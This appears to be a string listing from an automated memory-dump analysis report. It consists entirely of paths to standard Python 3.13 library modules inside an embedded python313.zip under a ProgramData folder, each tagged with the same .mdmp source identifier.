"C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_4.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_5.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_6.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_7.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_8.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_9.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_greek.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_farsi.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_arabic.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_croatian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_cyrillic.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_roman.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\punycode.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_iceland.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_latin2.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16_be.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_romanian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_turkish.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jis.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\quopri_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\raw_unicode_escape.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\undefined.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jisx0213.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jis_2004.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16_le.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\unicode_escape.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32_le.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32_be.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_8_sig.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\uu_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\zlib_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\machinery.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_bootstrap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_bootstrap_external.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\connection.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\context.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\forkserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\heap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\managers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\pool.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_fork.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_forkserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_spawn_posix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_spawn_win32.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\process.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\queues.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\reduction.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\resource_sharer.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\resource_tracker.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\sharedctypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\shared_memory.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\spawn.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\synchronize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\module_docs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\site-packages\README.txt" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\robotparser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\async_case.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_zoneinfo.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\simple_server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\minicompat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\base_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\completing_reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\fancy_termios.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\historical_reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\simple_interact.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\unix_console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\unix_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\windows_console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\windows_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\_minimal_curses.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\_threading_handler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\message.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\process.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\thread.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\_base.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\dyld.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\dylib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\fetch_macholib" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\fetch_macholib.bat" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\framework.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\README.ctypes" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\application.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\multipart.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\nonmultipart.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\expatreader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\diagnose.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_adapters.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_collections.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_functools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_itertools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_meta.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_text.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\readers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\simple.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_adapters.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_common.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_functional.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_itertools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\dummy\connection.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\dummy\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\expatbuilder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\NodeFilter.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\xmlbuilder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\cElementTree.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementInclude.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementPath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\readers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\simple.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\decoder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\encoder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\scanner.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\tool.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\config.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\handlers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\_local.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\topics.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\_pydoc.css" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_casefix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_compiler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\dbapi2.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\dump.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\mypy.ini" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_re.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\case.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\loader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\main.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\mock.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\result.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\runner.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\signals.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\suite.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\_log.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\error.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\parse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\request.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\response.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\handlers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\headers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\validate.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\client.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_common.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_tzpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\commands.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\curses.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\input.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\keymap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\main.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\mypy.ini" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\pager.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\readline.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\trace.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\utils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp 